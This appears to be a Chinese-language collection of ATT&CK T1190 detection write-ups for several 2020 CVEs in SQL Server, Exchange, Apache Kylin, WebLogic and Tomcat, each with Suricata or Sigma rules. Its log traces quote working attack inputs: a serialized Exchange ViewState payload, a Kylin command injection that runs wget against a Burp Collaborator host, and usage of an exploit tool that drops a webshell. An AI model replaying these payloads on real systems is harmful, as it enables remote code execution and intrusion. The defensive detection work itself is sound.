<input type="image" name="ReportViewerControl$ctl07$img" id="ReportViewerControl_ctl07_img" title="....................." aria-live="polite" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.Reporting.WebForms.Icons.SplitterVertCollapse.png" alt="....................." align="top" onclick="void(0);" style="cursor:pointer;" /><input type="hidden" name="ReportViewerControl$ctl07$store" id="ReportViewerControl_ctl07_store" /><input type="hidden" name="ReportViewerControl$ctl07$collapse" id="ReportViewerControl_ctl07_collapse" value="false" />
</div></td><td style="height:100%;vertical-align:top;"><div id="ReportViewerControl_ctl09" style="width:100%;overflow:auto;position:relative;">
<div id="VisibleReportContentReportViewerControl_ctl09" role="main" style="display:none;">---------
</div><div id="ReportViewerControl_ctl09_ReportArea">
<div NewContentType="ReportingServices.WebFormsClient.ReportAreaContent.None" ForNonReportContentArea="false" id="ReportViewerControl_ctl09_VisibilityState" style="visibility:none;">
<input type="hidden" name="ReportViewerControl$ctl09$VisibilityState$ctl00" value="None" />
</div><input type="hidden" name="ReportViewerControl$ctl09$ScrollPosition" id="ReportViewerControl_ctl09_ScrollPosition" /><span id="ReportViewerControl_ctl09_Reserved_AsyncLoadTarget"></span><div id="ReportViewerControl_ctl09_ReportControl" style="display:none;">
<span></span><input type="hidden" name="ReportViewerControl$ctl09$ReportControl$ctl02" /><input type="hidden" name="ReportViewerControl$ctl09$ReportControl$ctl03" /><input type="hidden" name="ReportViewerControl$ctl09$ReportControl$ctl04" id="ReportViewerControl_ctl09_ReportControl_ctl04" value="100" />
</div><div id="ReportViewerControl_ctl09_NonReportContent" style="height:100%;width:100%;">---------
</div>
</div>
</div></td>
</tr>
</table>
</div>
</div>
</td></tr></table>
- --------
<script type="text/javascript">
//<![CDATA[
Sys.Application.add_init(function() {
- -----------------------------------------------------------------
if (
typeof ReportingServices == 'undefined' ||
typeof ReportingServices.WebFormsClient == 'undefined' ||
typeof ReportingServices.WebFormsClient.ReportViewer == 'undefined')
Sys.UI.DomElement.setVisible($get('ReportViewerControl_HttpHandlerMissingErrorMessage'), true);
$create(ReportingServices.WebFormsClient.ReportViewer, {"_internalViewerId":"ReportViewerControl_ctl03","id":"ReportViewerControl"}, null, null);
});
Sys.Application.add_init(function() {
$create(ReportingServices.WebFormsClient._InternalReportViewer, {"ActionParamId":"ReportViewerControl_ctl03_ctl01","ActionTypeId":"ReportViewerControl_ctl03_ctl00","BaseHeight":"100%","BaseWidth":"100%","BrowserModeId":"ReportViewerControl_ctl11","DirectionCacheId":"ReportViewerControl_ctl10","DocMapAreaId":"ReportViewerControl_ctl08","DocMapHeaderOverflowDivId":"ReportViewerControl_ctl08DocMapHeaderOverflowDiv","DocMapSplitterId":"ReportViewerControl_ctl07","DocMapUpdatePanelId":"ReportViewerControl_DocMap","FixedTableId":"ReportViewerControl_fixedTable","HasSizingRow":true,"PostBackToClientScript":function(){__doPostBack('ReportViewerControl$ctl03','');},"PromptAreaRowId":"ParametersRowReportViewerControl","PromptSplitterId":"ReportViewerControl_ToggleParam","ReportAreaId":"ReportViewerControl_ctl09","ReportViewerId":"ReportViewerControl","TopLevelUpdatePanelId":"ReportViewerControl_ReportViewer"}, null, null, $get("ReportViewerControl_ctl03"));
});
Sys.Application.add_init(function() {
$create(ReportingServices.WebFormsClient._AsyncWaitControl, {"ClientCanceledId":"ReportViewerControl_AsyncWait_HiddenCancelField","DisplayDelay":1000,"FixedTableId":"ReportViewerControl_fixedTable","ReportViewerId":"ReportViewerControl","SkipTimer":true,"TriggerIds":["ReportViewerControl"],"WaitControlId":"ReportViewerControl_AsyncWait_Wait"}, null, null, $get("ReportViewerControl_AsyncWait"));
});
Sys.Application.add_init(function() {
$create(ReportingServices.WebFormsClient._Splitter, {"HoverStyle":"SplitterHover","ImageCollapse":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizCollapse.png","ImageCollapseHover":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizCollapseHover.png","ImageExpand":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizExpand.png","ImageExpandHover":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizExpandHover.png","ImageId":"ReportViewerControl_ToggleParam_img","IsCollapsable":true,"NormalStyle":"SplitterNormal","Resizable":false,"StoreCollapseField":"ReportViewerControl_ToggleParam_collapse","StorePositionField":"ReportViewerControl_ToggleParam_store","TooltipCollapse":"............","TooltipExpand":"............","Vertical":false}, null, null, $get("ReportViewerControl_ToggleParam"));
});
Sys.Application.add_init(function() {
$create(ReportingServices.WebFormsClient._Splitter, {"HoverStyle":"SplitterHover","ImageCollapse":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterVertCollapse.png","ImageCollapseHover":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterVertCollapseHover.png","ImageExpand":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterVertExpand.png","ImageExpandHover":"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\u0026Version=13.0.1601.5\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterVertExpandHover.png","ImageId":"ReportViewerControl_ctl07_img","IsCollapsable":true,"NormalStyle":"SplitterNormal","Resizable":true,"StoreCollapseField":"ReportViewerControl_ctl07_collapse","StorePositionField":"ReportViewerControl_ctl07_store","TooltipCollapse":".....................","TooltipExpand":".....................","Vertical":true}, null, null, $get("ReportViewerControl_ctl07"));
});
Sys.Application.add_init(function() {
$create(ReportingServices.WebFormsClient._ReportArea, {"NonReportContentId":"ReportViewerControl_ctl09_NonReportContent","ReportAreaVisibilityStateId":"ReportViewerControl_ctl09_VisibilityState","ReportControlId":"ReportViewerControl_ctl09_ReportControl","ScrollPositionId":"ReportViewerControl_ctl09_ScrollPosition","VisibleReportContentContainerId":"VisibleReportContentReportViewerControl_ctl09"}, null, null, $get("ReportViewerControl_ctl09"));
});
Sys.Application.add_init(function() {
$create(ReportingServices.WebFormsClient._ReportPage, {"HiddenZoomLevelId":"ReportViewerControl_ctl09_ReportControl_ctl04","StyleElementId":"ReportViewerControl_ctl09_ReportControl_styles"}, null, null, $get("ReportViewerControl_ctl09_ReportControl"));
});
//]]>
</script>
</form>
<script language="javascript" type="text/javascript">
Sys.WebForms.PageRequestManager.prototype._destroyTree = function(element) {
var allnodes = element.getElementsByTagName('*'),
length = allnodes.length;
var nodes = new Array(length);
for (var k = 0; k < length; k++) {
nodes[k] = allnodes[k];
}
for (var j = 0, l = nodes.length; j < l; j++) {
var node = nodes[j];
if (node.nodeType === 1) {
if (node.dispose && typeof (node.dispose) === "function") {
node.dispose();
}
else if (node.control && typeof (node.control.dispose) === "function") {
node.control.dispose();
}
var behaviors = node._behaviors;
if (behaviors) {
behaviors = Array.apply(null, behaviors);
for (var k = behaviors.length - 1; k >= 0; k--) {
behaviors[k].dispose();
}
}
}
}
}
</script>
</body>
</html>---------
```
- --------
## 检测规则/思路---------
### Suricata规则---------
```
s
alert http any any -> any any (msg:"CVE-2020-0618-Sql-server远程代码执行";flow:established,to_server;content:"POST";http_method;content:"/ReportServer/pages/ReportViewer.aspx";http_uri;content:"NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=";http_client_body;reference:url,www.cnblogs.com/8gman/p/12323273.html;classtype:web-application-attck;sid:3002021;rev:1;)---------
```
- --------
### 建议---------
流量+安全设备比较容易检测到此攻击行为。---------
## 参考推荐---------
MITRE-ATT&CK-T1190---------
<https://attack.mitre.org/techniques/T1190/>---------
CVE-2020-0618 SQL Server远程代码执行---------
<https://www.cnblogs.com/8gman/p/12323273.html>---------
(CVE-2020-0618)sql2012远程代码执行漏洞修复---------
<https://blog.51cto.com/shaonian/2472132>
================================================
FILE: Web/2020/T1190-CVE-2020-0688-Exchange漏洞利用检测.md
================================================
# T1190-CVE-2020-0688漏洞利用检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## CVE-2020-0688漏洞
Microsoft Exchange Server是微软公司一套支持多种电子邮件网络协议的电子邮件服务组件,除传统的电子邮件的存取、储存、转发作用外,在新版本的产品中亦加入了一系列辅助功能,如语音邮件、邮件过滤筛选和OWA(基于Web的电子邮件存取)。
漏洞起于Microsoft Exchange服务器在安装时并没有正确创建唯一密钥,经过身份验证的攻击者可以欺骗目标服务器反序列化恶意创建的ViewState数据,使攻击者可以在Exchange Control Panel web应用上执行任意.net代码。
## 测试案例
具体复测可以参考
- CVE-2020-0688:Exchange Server使用固定加密密钥远程代码执行漏洞修复通告:<https://www.anquanke.com/post/id/199772>
- --------------------------------------------------------------------------------------------
- CVE-2020-0688_微软EXCHANGE服务的远程代码执行漏洞复现:<https://www.cnblogs.com/pt007/p/12394722.html>
## 检测日志
HTTP流量、Windows sysmon日志、IIS日志、exchange日志
## 测试复现
可参考上述测试案例
## 测试留痕
HTTP流量检测规则基于payload关键词进行检测
Windows sysmon日志检测规则基于payload关键词检测
IIS日志检测规则,留痕如下:
```
yml
2020-03-09 17:16:50 ::1 POST /owa/auth.owa &CorrelationID=<empty>;&cafeReqId=9cff6edd-19a9-43c0-bdd2-a94adef6dd0c; 443 HealthMailbox062c8b451f3a4e21aa98fd88e45f499e@mail163.com ::1 Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+MSEXCHMON;+ACTIVEMONITORING;+OWACTP) - 302 0 0 0
2020-03-09 17:16:58 172.*.*.27 GET /ecp/default.aspx __VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4LJ%2F5i3bVSrOTrkun3pNej4tluDK0%3D&CorrelationID=<empty>;&cafeReqId=e0874638-b142-4c77-84c1-c0434137e691; 443 limou 10.0.254.139 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:73.0)+Gecko/20100101+Firefox/73.0 - 500 0 0 1502
```
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2020-0688 Exchange Exploitation via Web Log
id: fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5
status: experimental
description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688
references:
- https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/
author: Florian Roth
date: 2020/02/29
logsource:
category: webserver
detection:
selection1:
cs-method: 'GET'
c-uri|contains:
- '/ecp/'
- '/owa/'
selection2:
c-uri|contains: '__VIEWSTATE='
condition: selection1 and selection2
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
tags:
- attack.initial_access
- attack.t1190
level: critical
```
```
yml
title: CVE-2020-0688 Exploitation via Eventlog
id: d6266bf5-935e-4661-b477-78772735a7cb
status: experimental
description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688
references:
- https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/
author: Florian Roth
date: 2020/02/29
tags:
- attack.initial_access
- attack.t1190
logsource:
product: windows
service: application
detection:
selection1:
EventID: 4
Source: MSExchange Control Panel
Level: Error
selection2:
- '*&__VIEWSTATE=*'
condition: selection1 and selection2
falsepositives:
- Unknown
level: high
```
```
yml
title: CVE-2020-0688 Exploitation IIS Eventlog
id: d6266bf5-935e-4661-b477-78772735a7cb
status: experimental
description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688
references:
- https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/
author: Florian Roth
date: 2020/02/29
tags:
- attack.initial_access
- attack.t1190
logsource:
product: windows
service: IIS
detection:
selection1:
cs-method: 'POST'
c-uri|contains: '/owa/auth.owa'
selection2:
cs-method: 'GET'
c-uri|contains: '__VIEWSTATEGENERATOR=* __VIEWSTATE='
timeframe: 3s #可根据实际情况调整
condition: selection1 and selection2
falsepositives:
- Unknown
level: high
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
SIGMA rules
<https://github.com/Neo23x0/sigma/pull/644/files>
在MICROSOFT EXCHANGE SERVER上检测CVE-2020-0688远程执行代码漏洞
<https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/>
================================================
FILE: Web/2020/T1190-CVE-2020-13925-Apache Kylin远程操作系统命令注入漏洞.md
================================================
# T1190-CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Apache Kylin最早由eBay于2013创建并且开源,2015年成为Apache基金会的顶级项目。他是目前大数据领域应用非常广泛的开源分布式的分析型数据仓库,能够提供提供Hadoop/Spark之上的SQL查询接口及多维分析(OLAP)能力。近年来,大数据行业方兴未艾,Apache Kylin被国内外的很多大型互联网企业广泛应用,被业界称为大数据分析界的“神兽”。
Kylin 系统提供了一个前后端分离的 WEB UI,用户可以在上面管理项目、创建模型、分析数据等。系统提供了一组系统诊断接口,用于在发生故障时获取项目、任务、操作系统的诊断信息,方便调试。
漏洞在于其中两个接口没有对输入参数做安全检查,并且在后续使用过程中拼接到了一个字符串中作为系统命令执行。黑客可以通过构造恶意参数值调用该接口,实现远程执行任意系统命令,获得运行 Apache Kylin 系统的操作系统账号权限。
调用这个两个漏洞接口,需要有账号能够登陆 WEB 系统,但因为该 WEB 系统在安装完成后或部署 docker 容器后会有一个默认管理员账号 admin,并且会设置固定的默认密码 “KYLIN”,如果管理员没有特意修改,则黑客可以直接登陆并利用漏洞。也可能被通过其他方式得到账号或Session的黑客或内鬼利用获得更高权限。
## 检测日志
HTTP
## 测试复现
参考文章:<https://www.freesion.com/article/96341401547/>
## 测试留痕
```
yml
GET /kylin/api/diag/project/%7c%7cwget%20qsm6epow3y6ajjhj4vi4mmkc339txi.burpcollaborator.net%7c%7c/download HTTP/1.1
Host: 10.16.45.164:7070
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.107.19:7070/kylin/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: project=%22learn_kylin%22; JSESSIONID=9AC41F447D7504D31753F5D099A4157D; a=1; PHPSESSID=lodt0vr5t8b8rknhihm5ih04s0; zbx_sessionid=f959c1b9463c060987da90c5f916633f; tab=0
Connection: close
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞";flow:established,to_server;content:"GET";http_method;content:"/kylin/api/diag/project";pcre:"/download/";http_uri;reference:url,www.suphp.cn/anquanke/67/210867.html;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
流量研判,请结合状态码及返回内容进行研判。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
Apache Kylin 远程命令执行漏洞(CVE-2020-13925)
<http://www.suphp.cn/anquanke/67/210867.html>
CVE-2020-13925漏洞复现
<https://www.cnblogs.com/mY-bL0g/p/13895639.html>
================================================
FILE: Web/2020/T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞.md
================================================
# T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
### 0x1 影响版本
Oracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
### 0x2 漏洞详情
可参考:
<https://www.cnblogs.com/2rsh0u/p/13911794.html> # Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现
<https://www.cnblogs.com/potatsoSec/p/13895120.html> # CVE-2020-14882 weblogic 未授权命令执行复现
## 检测日志
HTTP.log
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```
yml
title: Oracle WebLogic Exploit CVE-2020-14882
status: 测试状态
description: 检测WebLogic服务器上的攻击企图
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14882
- https://www.cnblogs.com/2rsh0u/p/13911794.html
- https://www.cnblogs.com/potatsoSec/p/13895120.html
logsource:
category: webserver
detection:
selection:
c-uri|contains:
- '/console/images/%252E%252E%252Fconsole.portal'
- '/console/css/%2e'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: high
tags:
- attack.t1190
- attack.initial_access
- cve.2020-14882
```
### 建议
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
Weblogic未授权远程命令执行漏洞(CVE-2020-14882&CVE-2020-14883)复现
<https://www.cnblogs.com/2rsh0u/p/13911794.html>
CVE-2020-14882 weblogic 未授权命令执行复现
<https://www.cnblogs.com/potatsoSec/p/13895120.html>
================================================
FILE: Web/2020/T1190-CVE-2020-16875-Exchange漏洞利用监测.md
================================================
# T1190-CVE-2020-16875-Exchange漏洞利用监测
## 来自ATTCK描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## CVE-2020-16875
由于对cmdlet参数的验证不正确,Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。
**利用条件:利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。** 因此在环境部署完成后需要新建一个用户“dahe”,同时也要为其开启DLP权限。
```
bash
New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "dahe"
Get-RoleGroup "dlp users" | Format-List
```
针对此漏洞的攻击将依次执行以下步骤:
- 在给定帐户下进行身份验证。
- 通过访问DLP策略管理功能获取参数。
- 添加新的恶意DLP策略,其中包含从PowerShell运行的可执行命令。
## 监测方法
使用IIS日志监测创建新DLP策略:
```
yml
title: Creating a new DLP policy using IIS log monitoring
description: windows server 2016
author: DHZN
logsource:
product: windows
service: IIS
detection:
selection:
http_method: POST
http_code: 200
url_path|contain: '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'
condition: selection
level: medium
```
想要利用该漏洞,必须创建一个新的策略,这个行为也会被记录在MSExchange管理日志中。在该事件的参数中包含恶意载荷:TemplateData。
使用Powershell日志/MSExchange管理日志监测创建新DLP策略:
```
yml
title: Creating a new DLP policy using powrshell log or MSExchange Management Log monitoring
description: windows server 2016
author: DHZN
logsource:
product: windows
service: powershellaudit、MSExchange Management
detection:
selection:
EventID:
- 800
- 1
- 4014
Message|contains|all:
- 'New-DlpPolicy'
- '-TemplateData'
- ----------------
condition: selection
level: medium
```
使用Windows安全日志监测是否成功利用了CVE-2020-16875
```
yml
title: Monitoring CVE-2020-16875 utilization behavior using Windows security logs
description: windows server 2016
author: DHZN
logsource:
product: windows
service: Security
detection:
selection:
EventID: 4688
proc_parent_file_path|endswith: 'w3wp.exe'
proc_file_path|contains|endswitch:
- 'cmd.exe'
- 'powershell.exe'
condition: selection
level: high
```
在上述监测规则中,也可以调整子进程名称,对攻击者常见的进程名称进行监测,如whoami.exe等。
## 参考链接
[Exchange漏洞分析系列 CVE-2020-16875](https://www.anquanke.com/post/id/219091)
[CVE-2020-16875漏洞分析与复现](https://lhl7.github.io/2022/03/26/CVE-2020-16875%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/)
================================================
FILE: Web/2020/T1190-CVE-2020-17144-Exchange漏洞利用检测.md
================================================
# T1190-CVE-2020-17144漏洞利用检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## CVE-2020-17144
漏洞是由程序未正确校验cmdlet参数引起。经过身份验证的攻击者利用该漏洞可实现远程代码执行。
该漏洞和 CVE-2020-0688 类似,也需要登录后才能利用,不过在利用时无需明文密码,只要具备 NTHash 即可。除了常规邮件服务与 OWA外,EWS接口也提供了利用所需的方法。漏洞的功能点本身还具备持久化功能。
### 影响版本
Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 31
### EXP用法
条件: Exchange2010; 普通用户
默认用法(写webshell): CVE-2020-17144-EXP.exe mail.example.com user pass
执行命令 & 端口复用: 修改ExploitClass.cs
## 测试案例
借用其他测试案例:
```
YML
C:\Users\k8gege>CVE-2020-17144.exe 192.168.1.89 administrator K8gege520
BinaryFormatter
[+] Target: https://192.168.1.89/ews/Exchange.asmx
[+] User: administrator K8gege520
[+] Shell in https://192.168.1.89/autodiscover/Services.aspx, Wait for few minutes
```
## 检测日志
IIS日志、Windows安全日志 4776凭据验证
## 测试复现
## 测试留痕
```
log
2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 - 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 401 0 0 0
2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 AAA\user 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 200 0 0 156
2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 - 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 401 0 0 8
2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 AAA\user 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 200 0 0 15
2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 - 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 401 0 0 0
2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 AAA\user 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 200 0 0 14
```
## 检测规则/思路
通过上述日志可以看到访问了"/ews/Exchange.asmx",但这并不能作为一个有效的监测特征,实际分析过程中需要结合上下文行为进行分析。结合网络上公开的EXP来看,攻击路径相对固定。但跳出利用POC中非默认路径。
```
yml
title: Analyzing Exchange Vulnerability Explosions Using IIS Log Monitoring for CVE-2020-17144
description: windows server 2012
author: DHZN
logsource:
product: windows
service: IIS
detection:
selection:
http_method: POST
url_path|contain: '/ews/Exchange.asmx'
condition: selection
level: low
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
〖EXP〗CVE-2020-17144 Exchange漏洞利用
<https://k8gege.org/p/CVE-2020-17144.html>
POC1
<https://github.com/zcgonvh/CVE-2020-17144/tree/master>
POC2
<https://github.com/Airboi/CVE-2020-17144-EXP>
================================================
FILE: Web/2020/T1190-CVE-2020-1938-Apache Tomcat文件包含漏洞利用检测.md
================================================
# T1190-CVE-2020-1938漏洞利用检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## CVE-2020-1938漏洞
2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。
## 测试案例
具体复测可以参考
- Apache Tomcat文件包含漏洞 (CVE-2020-1938) 分析:<https://www.secrss.com/articles/17267>
## 检测日志
HTTP流量
## 测试复现
可参考上述测试案例
## 测试留痕
